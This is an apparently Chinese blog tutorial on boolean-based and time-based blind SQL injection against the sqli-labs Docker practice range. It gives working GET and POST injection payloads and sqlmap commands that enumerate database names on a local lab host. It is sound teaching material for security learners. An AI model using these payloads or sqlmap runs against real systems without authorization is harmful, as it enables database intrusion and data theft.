SQL注入中

准备环境

环境:centos7

地址:192.168.175.139

安装并开启docker(yum -y install docker)

拉取sqli靶场(docker pull docker.io/acgpiano/sqli-labs)

开启靶场(docker run -dt --name sqli-labs -p 8088:80 --rm docker.io/acgpiano/sqli-labs)

关闭防火墙或放行80端口使物理机浏览器可以访问

基于布尔的盲注

基于布尔型的盲注,我们通常采用下面的办法猜解字符串.

select length(databse());

select substr(databse(),1,1);

select ascii(substr(database(),1,1));

select ascii(substr(database(),1,1))>N;

select ascii(substr(database(),1,1))=N;

select ascii(substr(database(),1,1))<N;

Get基于布尔的盲注 Sqli-Lab 8实验演示

分别输入/?id=1 和/?id=1’或者/?id=1\,返回的结果情况

 

可以看出有不同地方,则可以判断出这里存在注入点,可以利用这块但是爆数据不可能的

查看源码也可以看出来

然后利用布尔盲注,测试数据库名字的长度 

出现you are in 则证明盲注成功

192.168.175.139:8088/Less-8/?id=1' and length(database())=8 --+

相反的如果是9,则没有任何显示

 192.168.175.139:8088/Less-8/?id=1' and length(database())=9 --+

Post基于布尔的盲注

在存在的注入点POST提交的参数后,加入if判断正确或者错误的语句

select length(databse());

select substr(databse(),1,1);

select ascii(substr(database(),1,1));

select ascii(substr(database(),1,1))>N;

select ascii(substr(database(),1,1))=N;

select ascii(substr(database(),1,1))<N;

Payload//如果不知道用户名用or,但要求用户名要做到不正确,找一个最不像用户名的用户名

uname=admin' and (length(database())>7) -- &passwd=admin123456&submit=Submit

uname=dddd' or  length(database())>7 -- &passwd=admin&submit=Submit

以lesson15为例

账号密码都输入admin,页面显示正常提交

输入不正常的,页面则换了一个图片,没有显示文字,页面有微小变化,因此可以判定有注入点,我们用此变化来判定数据库的名字的长度

 我们可以直接在表单内注入,得出数据库名字长度为8(我是从1开始尝试到8成功)

admin' and length(database())=8 #

使用and的话前面的admin用户名要为真,如果我们没有搜集到用户名则使用or,那么用户名写一个最不像用户名的用户名,因为or要保证特别不像用户名,后面的才能正常显示。

 所以布尔是用页面的微小变化来判定

除了直接在表单内注入,我们还可以使用bp抓包来判定是否有注入点

上bp(bp安装本人博客里有)

先发送一个正确的包(用户账号名admin),他返回的包里有flag.jpg,可以注意到字节数是1705 

 再去发一个错误的包(随便加个') ,返回包是slag.jpg,字节数也变了

在bp内注入uname=admin&passwd=admin' and length(database())=8 #&submit=Submit,返回flag,也同样说明数据库名字长度为8

利用sqlmap探测get基于时间盲注

sqlmap -h 查看sqlmap的帮助信息

B表示布尔盲注,T表示时间盲注(延迟注入)(用到的最多),E表示报错注入,U表示联合查询注入,S表示堆查询注入

--technique T 设置为只基于时间的探测技术

sqlmap -u "http://192.168.175.139:8088/Less-9/?id=1" --technique T --dbs -batch

给kali的sqlmap设置kali的bp代理(自己kali开的bp,所以设置的本地代理),可以在bp看到发出了很多请求包

sqlmap -u "http://192.168.175.139:8088/Less-9/?id=1" --technique T --dbs --proxy "http://127.0.0.1:8080" --batch

 成功爆出(正常的就是一个字节一个字节爆出来的)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值